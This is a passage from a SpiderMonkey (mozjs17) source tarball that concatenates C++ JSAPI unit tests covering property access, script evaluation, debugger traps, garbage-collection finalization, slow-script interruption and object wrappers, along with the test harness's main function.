CHECK(JS_SetPropertyById(cx, obj, hereid, &v0)); jsval v1; CHECK(JS_GetPropertyByIdDefault(cx, obj, hereid, JSVAL_FALSE, &v1)); CHECK(JSVAL_IS_TRUE(v1)); jsval v2; CHECK(JS_GetPropertyByIdDefault(cx, obj, nothereid, JSVAL_FALSE, &v2)); CHECK(JSVAL_IS_FALSE(v2)); } return true; } END_TEST(testGetPropertyDefault_bug594060) mozjs17.0.0/js/src/jsapi-tests/testJSEvaluateScript.cpp0000664000175000017500000000240612106270662023047 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ #include "tests.h" BEGIN_TEST(testJSEvaluateScript) { JS::RootedObject obj(cx, JS_NewObject(cx, NULL, NULL, global)); CHECK(obj); uint32_t options = JS_GetOptions(cx); CHECK(options & JSOPTION_VAROBJFIX); static const char src[] = "var x = 5;"; JS::Value retval; CHECK(JS_EvaluateScript(cx, obj, src, sizeof(src) - 1, __FILE__, __LINE__, &retval)); JSBool hasProp = JS_TRUE; CHECK(JS_AlreadyHasOwnProperty(cx, obj, "x", &hasProp)); CHECK(!hasProp); hasProp = JS_FALSE; CHECK(JS_HasProperty(cx, global, "x", &hasProp)); CHECK(hasProp); // Now do the same thing, but without JSOPTION_VAROBJFIX JS_SetOptions(cx, options & ~JSOPTION_VAROBJFIX); static const char src2[] = "var y = 5;"; CHECK(JS_EvaluateScript(cx, obj, src2, sizeof(src2) - 1, __FILE__, __LINE__, &retval)); hasProp = JS_FALSE; CHECK(JS_AlreadyHasOwnProperty(cx, obj, "y", &hasProp)); CHECK(hasProp); hasProp = JS_TRUE; CHECK(JS_AlreadyHasOwnProperty(cx, global, "y", &hasProp)); CHECK(!hasProp); return true; } END_TEST(testJSEvaluateScript) mozjs17.0.0/js/src/jsapi-tests/testTrap.cpp0000664000175000017500000000434612106270662020572 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsdbgapi.h" static int emptyTrapCallCount = 0; static JSTrapStatus EmptyTrapHandler(JSContext *cx, JSScript *script, jsbytecode *pc, jsval *rval, jsval closure) { JS_GC(JS_GetRuntime(cx)); if (JSVAL_IS_STRING(closure)) ++emptyTrapCallCount; return JSTRAP_CONTINUE; } BEGIN_TEST(testTrap_gc) { static const char source[] = "var i = 0;\n" "var sum = 0;\n" "while (i < 10) {\n" " sum += i;\n" " ++i;\n" "}\n" "({ result: sum });\n" ; // compile JS::RootedScript script(cx, JS_CompileScript(cx, global, source, strlen(source), __FILE__, 1)); CHECK(script); // execute JS::RootedValue v2(cx); CHECK(JS_ExecuteScript(cx, global, script, v2.address())); CHECK(v2.isObject()); CHECK_EQUAL(emptyTrapCallCount, 0); // Enable debug mode CHECK(JS_SetDebugMode(cx, JS_TRUE)); static const char trapClosureText[] = "some trap closure"; // scope JSScript usage to make sure that it is not used after // JS_ExecuteScript. This way we avoid using Anchor. JS::RootedString trapClosure(cx); { jsbytecode *line2 = JS_LineNumberToPC(cx, script, 1); CHECK(line2); jsbytecode *line6 = JS_LineNumberToPC(cx, script, 5); CHECK(line2); trapClosure = JS_NewStringCopyZ(cx, trapClosureText); CHECK(trapClosure); JS_SetTrap(cx, script, line2, EmptyTrapHandler, STRING_TO_JSVAL(trapClosure)); JS_SetTrap(cx, script, line6, EmptyTrapHandler, STRING_TO_JSVAL(trapClosure)); JS_GC(rt); CHECK(JS_FlatStringEqualsAscii(JS_ASSERT_STRING_IS_FLAT(trapClosure), trapClosureText)); } // execute CHECK(JS_ExecuteScript(cx, global, script, v2.address())); CHECK_EQUAL(emptyTrapCallCount, 11); JS_GC(rt); CHECK(JS_FlatStringEqualsAscii(JS_ASSERT_STRING_IS_FLAT(trapClosure), trapClosureText)); return true; } END_TEST(testTrap_gc) mozjs17.0.0/js/src/jsapi-tests/testBindCallable.cpp0000664000175000017500000000160412106270662022152 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" BEGIN_TEST(test_BindCallable) { jsval v; EVAL("({ somename : 1717 })", &v); CHECK(v.isObject()); jsval func; EVAL("(function() { return this.somename; })", &func); CHECK(func.isObject()); JS::RootedObject funcObj(cx, JSVAL_TO_OBJECT(func)); JS::RootedObject vObj(cx, JSVAL_TO_OBJECT(v)); JSObject* newCallable = JS_BindCallable(cx, funcObj, vObj); CHECK(newCallable); jsval retval; bool called = JS_CallFunctionValue(cx, NULL, OBJECT_TO_JSVAL(newCallable), 0, NULL, &retval); CHECK(called); CHECK(JSVAL_IS_INT(retval)); CHECK(JSVAL_TO_INT(retval) == 1717); return true; } END_TEST(test_BindCallable) mozjs17.0.0/js/src/jsapi-tests/testScriptInfo.cpp0000664000175000017500000000306212106270662021736 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsdbgapi.h" const char code[] = "xx = 1; \n\ \n\ try { \n\ debugger; \n\ \n\ xx += 1; \n\ } \n\ catch (e) \n\ { \n\ xx += 1; \n\ }\n\ //@ sourceMappingURL=http://example.com/path/to/source-map.json"; static bool CharsMatch(const jschar *p, const char *q) { while (*q) { if (*p++ != *q++) return false; } return true; } // Bug 670958 - fix JS_GetScriptLineExtent, among others BEGIN_TEST(testScriptInfo) { unsigned startLine = 1000; JSScript *script = JS_CompileScript(cx, global, code, strlen(code), __FILE__, startLine); CHECK(script); jsbytecode *start = JS_LineNumberToPC(cx, script, startLine); CHECK_EQUAL(JS_GetScriptBaseLineNumber(cx, script), startLine); CHECK_EQUAL(JS_PCToLineNumber(cx, script, start), startLine); CHECK_EQUAL(JS_GetScriptLineExtent(cx, script), 11); CHECK(strcmp(JS_GetScriptFilename(cx, script), __FILE__) == 0); const jschar *sourceMap = JS_GetScriptSourceMap(cx, script); CHECK(sourceMap); CHECK(CharsMatch(sourceMap, "http://example.com/path/to/source-map.json")); return true; } END_TEST(testScriptInfo) mozjs17.0.0/js/src/jsapi-tests/testClassGetter.cpp0000664000175000017500000000373212106270662022102 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: * * Tests the JSClass::getProperty hook */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" int called_test_fn; int called_test_prop_get; static JSBool test_prop_get( JSContext *cx, JS::HandleObject obj, JS::HandleId id, JS::MutableHandleValue vp ) { called_test_prop_get++; return JS_TRUE; } static JSBool PTest(JSContext* cx, unsigned argc, jsval *vp); static JSClass ptestClass = { "PTest", JSCLASS_HAS_PRIVATE, JS_PropertyStub, // add JS_PropertyStub, // delete test_prop_get, // get JS_StrictPropertyStub, // set JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; static JSBool PTest(JSContext* cx, unsigned argc, jsval *vp) { JSObject *obj = JS_NewObjectForConstructor(cx, &ptestClass, vp); if (!obj) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(obj)); return JS_TRUE; } static JSBool test_fn(JSContext *cx, unsigned argc, jsval *vp) { called_test_fn++; return JS_TRUE; } static JSFunctionSpec ptestFunctions[] = { JS_FS( "test_fn", test_fn, 0, 0 ), JS_FS_END }; BEGIN_TEST(testClassGetter_isCalled) { CHECK(JS_InitClass(cx, global, NULL, &ptestClass, PTest, 0, NULL, ptestFunctions, NULL, NULL)); EXEC("function check() { var o = new PTest(); o.test_fn(); o.test_value1; o.test_value2; o.test_value1; }"); for (int i = 1; i < 9; i++) { JS::RootedValue rval(cx); CHECK(JS_CallFunctionName(cx, global, "check", 0, NULL, rval.address())); CHECK_SAME(INT_TO_JSVAL(called_test_fn), INT_TO_JSVAL(i)); CHECK_SAME(INT_TO_JSVAL(called_test_prop_get), INT_TO_JSVAL(4 * i)); } return true; } END_TEST(testClassGetter_isCalled) mozjs17.0.0/js/src/jsapi-tests/testAddPropertyPropcache.cpp0000664000175000017500000000443712106270662023747 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" /* Do the test a bunch of times, because sometimes we seem to randomly miss the propcache */ static const int expectedCount = 100; static int callCount = 0; static JSBool addProperty(JSContext *cx, JS::HandleObject obj, JS::HandleId id, JS::MutableHandleValue vp) { callCount++; return true; } JSClass addPropertyClass = { "AddPropertyTester", 0, addProperty, JS_PropertyStub, /* delProperty */ JS_PropertyStub, /* getProperty */ JS_StrictPropertyStub, /* setProperty */ JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; BEGIN_TEST(testAddPropertyHook) { JS::RootedObject obj(cx, JS_NewObject(cx, NULL, NULL, NULL)); CHECK(obj); JS::RootedValue proto(cx, OBJECT_TO_JSVAL(obj)); JS_InitClass(cx, global, obj, &addPropertyClass, NULL, 0, NULL, NULL, NULL, NULL); obj = JS_NewArrayObject(cx, 0, NULL); CHECK(obj); JS::RootedValue arr(cx, OBJECT_TO_JSVAL(obj)); CHECK(JS_DefineProperty(cx, global, "arr", arr, JS_PropertyStub, JS_StrictPropertyStub, JSPROP_ENUMERATE)); for (int i = 0; i < expectedCount; ++i) { obj = JS_NewObject(cx, &addPropertyClass, NULL, NULL); CHECK(obj); JS::RootedValue vobj(cx, OBJECT_TO_JSVAL(obj)); JS::RootedObject arrObj(cx, JSVAL_TO_OBJECT(arr)); CHECK(JS_DefineElement(cx, arrObj, i, vobj, JS_PropertyStub, JS_StrictPropertyStub, JSPROP_ENUMERATE)); } // Now add a prop to each of the objects, but make sure to do // so at the same bytecode location so we can hit the propcache. EXEC("'use strict'; \n" "for (var i = 0; i < arr.length; ++i) \n" " arr[i].prop = 42; \n" ); CHECK(callCount == expectedCount); return true; } END_TEST(testAddPropertyHook) mozjs17.0.0/js/src/jsapi-tests/testValueABI.cpp0000664000175000017500000000316012124132314021234 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" /* * Bug 689101 - jsval is technically a non-POD type because it has a private * data member. On gcc, this doesn't seem to matter. On MSVC, this prevents * returning a jsval from a function between C and C++ because it will use a * retparam in C++ and a direct return value in C. * * Bug 712289 - jsval alignment was different on 32-bit platforms between C and * C++ because the default alignments of js::Value and jsval_layout differ. */ #if defined(__clang__) # pragma clang diagnostic push # pragma clang diagnostic ignored "-Wreturn-type-c-linkage" #endif extern "C" { extern JSBool C_ValueToObject(JSContext *cx, jsval v, JSObject **obj); extern jsval C_GetEmptyStringValue(JSContext *cx); extern size_t C_jsvalAlignmentTest(); } #if defined(__clang__) # pragma clang diagnostic pop #endif BEGIN_TEST(testValueABI_retparam) { JS::RootedObject obj(cx, JS_GetGlobalObject(cx)); jsval v = OBJECT_TO_JSVAL(obj); obj = NULL; CHECK(C_ValueToObject(cx, v, obj.address())); JSBool equal; CHECK(JS_StrictlyEqual(cx, v, OBJECT_TO_JSVAL(obj), &equal)); CHECK(equal); v = C_GetEmptyStringValue(cx); CHECK(JSVAL_IS_STRING(v)); return true; } END_TEST(testValueABI_retparam) BEGIN_TEST(testValueABI_alignment) { typedef struct { char c; jsval v; } AlignTest; CHECK(C_jsvalAlignmentTest() == sizeof(AlignTest)); return true; } END_TEST(testValueABI_alignment) mozjs17.0.0/js/src/jsapi-tests/testIsAboutToBeFinalized.cpp0000664000175000017500000000737412106270662023636 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsstr.h" static JSGCCallback oldGCCallback; static void **checkPointers; static unsigned checkPointersLength; static size_t checkPointersStaticStrings; static JSBool TestAboutToBeFinalizedCallback(JSContext *cx, JSGCStatus status) { if (status == JSGC_MARK_END && checkPointers) { for (unsigned i = 0; i != checkPointersLength; ++i) { void *p = checkPointers[i]; JS_ASSERT(p); if (JS_IsAboutToBeFinalized(p)) checkPointers[i] = NULL; } } return !oldGCCallback || oldGCCallback(cx, status); } /* * NativeFrameCleaner write to sink so a compiler nwould not be able to optimze out * the buffer memset there. */ volatile void *ptrSink; static JS_NEVER_INLINE void NativeFrameCleaner() { char buffer[1 << 16]; memset(buffer, 0, sizeof buffer); ptrSink = buffer; } BEGIN_TEST(testIsAboutToBeFinalized_bug528645) { /* * Due to the conservative GC we use separated never-inline function to * test rooted elements. */ CHECK(createAndTestRooted()); NativeFrameCleaner(); JS_GC(cx); /* Everything is unrooted except unit strings. */ for (unsigned i = 0; i != checkPointersLength; ++i) { void *p = checkPointers[i]; if (p) { CHECK(JSString::isStatic(p)); CHECK(checkPointersStaticStrings != 0); --checkPointersStaticStrings; } } CHECK_EQUAL(checkPointersStaticStrings, 0); free(checkPointers); checkPointers = NULL; JS_SetGCCallback(cx, oldGCCallback); return true; } JS_NEVER_INLINE bool createAndTestRooted(); END_TEST(testIsAboutToBeFinalized_bug528645) JS_NEVER_INLINE bool cls_testIsAboutToBeFinalized_bug528645::createAndTestRooted() { jsvalRoot root(cx); /* * Check various types of GC things against JS_IsAboutToBeFinalized. * Make sure to include unit and numeric strings to the set. */ EVAL("var x = 1.1; " "[''+x, 'a', '123456789', 'something'.substring(1), " "{}, [], new Function('return 10;'), ];", root.addr()); JSObject *array = JSVAL_TO_OBJECT(root.value()); JS_ASSERT(JS_IsArrayObject(cx, array)); JSBool ok = JS_GetArrayLength(cx, array, &checkPointersLength); CHECK(ok); checkPointers = (void **) malloc(sizeof(void *) * checkPointersLength); CHECK(checkPointers); checkPointersStaticStrings = 0; for (unsigned i = 0; i != checkPointersLength; ++i) { jsval v; ok = JS_GetElement(cx, array, i, &v); CHECK(ok); JS_ASSERT(JSVAL_IS_GCTHING(v)); JS_ASSERT(!JSVAL_IS_NULL(v)); checkPointers[i] = JSVAL_TO_GCTHING(v); if (JSString::isStatic(checkPointers[i])) ++checkPointersStaticStrings; } oldGCCallback = JS_SetGCCallback(cx, TestAboutToBeFinalizedCallback); JS_GC(cx); /* * All GC things are rooted via the root holding the array containing them * and TestAboutToBeFinalizedCallback must keep them as is. */ for (unsigned i = 0; i != checkPointersLength; ++i) CHECK(checkPointers[i]); /* * Overwrite the registers and stack with new GC things to avoid false * positives with the finalization test. */ EVAL("[]", root.addr()); array = JSVAL_TO_OBJECT(root.value()); JS_ASSERT(JS_IsArrayObject(cx, array)); uint32_t tmp; CHECK(JS_GetArrayLength(cx, array, &tmp)); CHECK(ok); return true; } mozjs17.0.0/js/src/jsapi-tests/testStringBuffer.cpp0000664000175000017500000000150212106270662022253 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsatom.h" #include "vm/StringBuffer.h" #include "jsobjinlines.h" BEGIN_TEST(testStringBuffer_finishString) { JSString *str = JS_NewStringCopyZ(cx, "foopy"); CHECK(str); JSAtom *atom = js::AtomizeString(cx, str); CHECK(atom); js::StringBuffer buffer(cx); CHECK(buffer.append("foopy")); JSAtom *finishedAtom = buffer.finishAtom(); CHECK(finishedAtom); CHECK_EQUAL(atom, finishedAtom); return true; } END_TEST(testStringBuffer_finishString) mozjs17.0.0/js/src/jsapi-tests/tests.cpp0000664000175000017500000000667612106270662020136 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=78: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "gc/Root.h" #include "jsobj.h" #include JSAPITest *JSAPITest::list; bool JSAPITest::init() { rt = createRuntime(); if (!rt) return false; cx = createContext(); if (!cx) return false; #ifdef JS_GC_ZEAL JS_SetGCZeal(cx, 0, 0); #endif JS_BeginRequest(cx); JS::RootedObject global(cx, createGlobal()); if (!global) return false; call = JS_EnterCrossCompartmentCall(cx, global); return call != NULL; } bool JSAPITest::exec(const char *bytes, const char *filename, int lineno) { JS::RootedValue v(cx); JS::HandleObject global = JS::HandleObject::fromMarkedLocation(&this->global); return JS_EvaluateScript(cx, global, bytes, strlen(bytes), filename, lineno, v.address()) || fail(bytes, filename, lineno); } bool JSAPITest::evaluate(const char *bytes, const char *filename, int lineno, jsval *vp) { JS::HandleObject global = JS::HandleObject::fromMarkedLocation(&this->global); return JS_EvaluateScript(cx, global, bytes, strlen(bytes), filename, lineno, vp) || fail(bytes, filename, lineno); } bool JSAPITest::definePrint() { JS::HandleObject global = JS::HandleObject::fromMarkedLocation(&this->global); return JS_DefineFunction(cx, global, "print", (JSNative) print, 0, 0); } JSObject * JSAPITest::createGlobal(JSPrincipals *principals) { /* Create the global object. */ global = JS_NewGlobalObject(cx, getGlobalClass(), principals); if (!global) return NULL; JS_AddNamedObjectRoot(cx, &global, "test-global"); JS::HandleObject globalHandle = JS::HandleObject::fromMarkedLocation(&global); JSAutoCompartment ac(cx, globalHandle); /* Populate the global object with the standard globals, like Object and Array. */ if (!JS_InitStandardClasses(cx, globalHandle)) return NULL; return global; } int main(int argc, char *argv[]) { int total = 0; int failures = 0; const char *filter = (argc == 2) ? argv[1] : NULL; JS_SetCStringsAreUTF8(); for (JSAPITest *test = JSAPITest::list; test; test = test->next) { const char *name = test->name(); if (filter && strstr(name, filter) == NULL) continue; total += 1; printf("%s\n", name); if (!test->init()) { printf("TEST-UNEXPECTED-FAIL | %s | Failed to initialize.\n", name); failures++; continue; } JS::HandleObject global = JS::HandleObject::fromMarkedLocation(&test->global); if (test->run(global)) { printf("TEST-PASS | %s | ok\n", name); } else { JSAPITestString messages = test->messages(); printf("%s | %s | %.*s\n", (test->knownFail ? "TEST-KNOWN-FAIL" : "TEST-UNEXPECTED-FAIL"), name, (int) messages.length(), messages.begin()); if (!test->knownFail) failures++; } test->uninit(); } if (failures) { printf("\n%d unexpected failure%s.\n", failures, (failures == 1 ? "" : "s")); return 1; } printf("\nPassed: ran %d tests.\n", total); return 0; } mozjs17.0.0/js/src/jsapi-tests/testSlowScript.cpp0000664000175000017500000000424712106270662021775 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" JSBool OperationCallback(JSContext *cx) { return false; } static unsigned sRemain; JSBool TriggerOperationCallback(JSContext *cx, unsigned argc, jsval *vp) { if (!sRemain--) JS_TriggerOperationCallback(JS_GetRuntime(cx)); *vp = JSVAL_VOID; return true; } BEGIN_TEST(testSlowScript) { JS_SetOperationCallback(cx, OperationCallback); JS_DefineFunction(cx, global, "triggerOperationCallback", TriggerOperationCallback, 0, 0); test("while (true)" " for (i in [0,0,0,0])" " triggerOperationCallback();"); test("while (true)" " for (i in [0,0,0,0])" " for (j in [0,0,0,0])" " triggerOperationCallback();"); test("while (true)" " for (i in [0,0,0,0])" " for (j in [0,0,0,0])" " for (k in [0,0,0,0])" " triggerOperationCallback();"); test("function f() { while (true) yield triggerOperationCallback() }" "for (i in f()) ;"); test("function f() { while (true) yield 1 }" "for (i in f())" " triggerOperationCallback();"); test("(function() {" " while (true)" " let (x = 1) { eval('triggerOperationCallback()'); }" "})()"); return true; } bool test(const char *bytes) { jsval v; JS_SetOptions(cx, JS_GetOptions(cx) & ~(JSOPTION_METHODJIT | JSOPTION_METHODJIT_ALWAYS)); sRemain = 0; CHECK(!evaluate(bytes, __FILE__, __LINE__, &v)); CHECK(!JS_IsExceptionPending(cx)); sRemain = 1000; CHECK(!evaluate(bytes, __FILE__, __LINE__, &v)); CHECK(!JS_IsExceptionPending(cx)); JS_SetOptions(cx, JS_GetOptions(cx) | JSOPTION_METHODJIT | JSOPTION_METHODJIT_ALWAYS); sRemain = 0; CHECK(!evaluate(bytes, __FILE__, __LINE__, &v)); CHECK(!JS_IsExceptionPending(cx)); sRemain = 1000; CHECK(!evaluate(bytes, __FILE__, __LINE__, &v)); CHECK(!JS_IsExceptionPending(cx)); return true; } END_TEST(testSlowScript) mozjs17.0.0/js/src/jsapi-tests/testExtendedEq.cpp0000664000175000017500000000357412106270662021714 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: * * This tests user-specified (via JSExtendedClass) equality operations on * trace. */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsobj.h" static JSBool my_Equality(JSContext *cx, JS::HandleObject obj, const jsval *, JSBool *bp) { *bp = JS_TRUE; return JS_TRUE; } js::Class TestExtendedEq_JSClass = { "TestExtendedEq", 0, JS_PropertyStub, /* addProperty */ JS_PropertyStub, /* delProperty */ JS_PropertyStub, /* getProperty */ JS_StrictPropertyStub, /* setProperty */ JS_EnumerateStub, JS_ResolveStub, NULL, /* convert */ NULL, /* finalize */ NULL, /* checkAccess */ NULL, /* call */ NULL, /* construct */ NULL, /* hasInstance */ NULL, /* mark */ { my_Equality, NULL, /* outerObject */ NULL, /* innerObject */ NULL, /* iteratorObject */ NULL, /* wrappedObject */ } }; BEGIN_TEST(testExtendedEq_bug530489) { JSClass *clasp = (JSClass *) &TestExtendedEq_JSClass; CHECK(JS_InitClass(cx, global, global, clasp, NULL, 0, NULL, NULL, NULL, NULL)); CHECK(JS_DefineObject(cx, global, "obj1", clasp, NULL, 0)); CHECK(JS_DefineObject(cx, global, "obj2", clasp, NULL, 0)); jsval v; EVAL("(function() { var r; for (var i = 0; i < 10; ++i) r = obj1 == obj2; return r; })()", &v); CHECK_SAME(v, JSVAL_TRUE); return true; } END_TEST(testExtendedEq_bug530489) mozjs17.0.0/js/src/jsapi-tests/testOps.cpp0000664000175000017500000000330312106270662020415 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: * * Tests for operators and implicit type conversion. */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" static JSBool my_convert(JSContext* context, JS::HandleObject obj, JSType type, JS::MutableHandleValue rval) { if (type == JSTYPE_VOID || type == JSTYPE_STRING || type == JSTYPE_NUMBER || type == JSTYPE_BOOLEAN) { rval.set(JS_NumberValue(123)); return JS_TRUE; } return JS_FALSE; } static JSClass myClass = { "MyClass", 0, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, my_convert }; static JSBool createMyObject(JSContext* context, unsigned argc, jsval *vp) { JS_BeginRequest(context); //JS_GC(context); //<- if we make GC here, all is ok JSObject* myObject = JS_NewObject(context, &myClass, NULL, NULL); *vp = OBJECT_TO_JSVAL(myObject); JS_EndRequest(context); return JS_TRUE; } static JSFunctionSpec s_functions[] = { JS_FN("createMyObject", createMyObject, 0, 0), JS_FS_END }; BEGIN_TEST(testOps_bug559006) { CHECK(JS_DefineFunctions(cx, global, s_functions)); EXEC("function main() { while(1) return 0 + createMyObject(); }"); for (int i = 0; i < 9; i++) { JS::RootedValue rval(cx); CHECK(JS_CallFunctionName(cx, global, "main", 0, NULL, rval.address())); CHECK_SAME(rval, INT_TO_JSVAL(123)); } return true; } END_TEST(testOps_bug559006) mozjs17.0.0/js/src/jsapi-tests/testBug604087.cpp0000664000175000017500000000567512106270662021100 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: * * Tests JS_TransplantObject */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsobj.h" #include "jswrapper.h" struct OuterWrapper : js::DirectWrapper { OuterWrapper() : DirectWrapper(0) {} virtual bool isOuterWindow() { return true; } static OuterWrapper singleton; }; OuterWrapper OuterWrapper::singleton; static JSObject * wrap(JSContext *cx, JS::HandleObject toWrap, JS::HandleObject target) { JSAutoCompartment ac(cx, target); JS::RootedObject wrapper(cx, toWrap); if (!JS_WrapObject(cx, wrapper.address())) return NULL; return wrapper; } static JSObject * SameCompartmentWrap(JSContext *cx, JSObject *objArg) { JS::RootedObject obj(cx, objArg); JS_GC(JS_GetRuntime(cx)); return obj; } static JSObject * PreWrap(JSContext *cx, JSObject *scopeArg, JSObject *objArg, unsigned flags) { JS::RootedObject scope(cx, scopeArg); JS::RootedObject obj(cx, objArg); JS_GC(JS_GetRuntime(cx)); return obj; } static JSObject * Wrap(JSContext *cx, JSObject *objArg, JSObject *protoArg, JSObject *parentArg, unsigned flags) { JS::RootedObject obj(cx, objArg); JS::RootedObject proto(cx, protoArg); JS::RootedObject parent(cx, parentArg); return js::Wrapper::New(cx, obj, proto, parent, &js::CrossCompartmentWrapper::singleton); } BEGIN_TEST(testBug604087) { JS::RootedObject outerObj(cx, js::Wrapper::New(cx, global, global->getProto(), global, &OuterWrapper::singleton)); JS::RootedObject compartment2(cx, JS_NewGlobalObject(cx, getGlobalClass(), NULL)); JS::RootedObject compartment3(cx, JS_NewGlobalObject(cx, getGlobalClass(), NULL)); JS::RootedObject compartment4(cx, JS_NewGlobalObject(cx, getGlobalClass(), NULL)); JS::RootedObject c2wrapper(cx, wrap(cx, outerObj, compartment2)); CHECK(c2wrapper); js::SetProxyExtra(c2wrapper, 0, js::Int32Value(2)); JS::RootedObject c3wrapper(cx, wrap(cx, outerObj, compartment3)); CHECK(c3wrapper); js::SetProxyExtra(c3wrapper, 0, js::Int32Value(3)); JS::RootedObject c4wrapper(cx, wrap(cx, outerObj, compartment4)); CHECK(c4wrapper); js::SetProxyExtra(c4wrapper, 0, js::Int32Value(4)); compartment4 = c4wrapper = NULL; JS::RootedObject next(cx); { JSAutoCompartment ac(cx, compartment2); next = js::Wrapper::New(cx, compartment2, compartment2->getProto(), compartment2, &OuterWrapper::singleton); CHECK(next); } JS_SetWrapObjectCallbacks(JS_GetRuntime(cx), Wrap, SameCompartmentWrap, PreWrap); CHECK(JS_TransplantObject(cx, outerObj, next)); return true; } END_TEST(testBug604087) mozjs17.0.0/js/src/jsapi-tests/testArgumentsObject.cpp0000664000175000017500000000734412106270662022761 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "vm/Stack-inl.h" using namespace js; static const char NORMAL_ZERO[] = "function f() { return arguments; }"; static const char NORMAL_ONE[] = "function f(a) { return arguments; }"; static const char NORMAL_TWO[] = "function f(a, b) { return arguments; }"; static const char NORMAL_THREE[] = "function f(a, b, c) { return arguments; }"; static const char STRICT_ZERO[] = "function f() { 'use strict'; return arguments; }"; static const char STRICT_ONE[] = "function f() { 'use strict'; return arguments; }"; static const char STRICT_TWO[] = "function f() { 'use strict'; return arguments; }"; static const char STRICT_THREE[] = "function f() { 'use strict'; return arguments; }"; static const char *CALL_CODES[] = { "f()", "f(0)", "f(0, 1)", "f(0, 1, 2)", "f(0, 1, 2, 3)", "f(0, 1, 2, 3, 4)" }; static const size_t MAX_ELEMS = 6; static void ClearElements(Value elems[MAX_ELEMS]) { for (size_t i = 0; i < MAX_ELEMS - 1; i++) elems[i] = NullValue(); elems[MAX_ELEMS - 1] = Int32Value(42); } BEGIN_TEST(testArgumentsObject) { return ExhaustiveTest<0>(NORMAL_ZERO) && ExhaustiveTest<1>(NORMAL_ZERO) && ExhaustiveTest<2>(NORMAL_ZERO) && ExhaustiveTest<0>(NORMAL_ONE) && ExhaustiveTest<1>(NORMAL_ONE) && ExhaustiveTest<2>(NORMAL_ONE) && ExhaustiveTest<3>(NORMAL_ONE) && ExhaustiveTest<0>(NORMAL_TWO) && ExhaustiveTest<1>(NORMAL_TWO) && ExhaustiveTest<2>(NORMAL_TWO) && ExhaustiveTest<3>(NORMAL_TWO) && 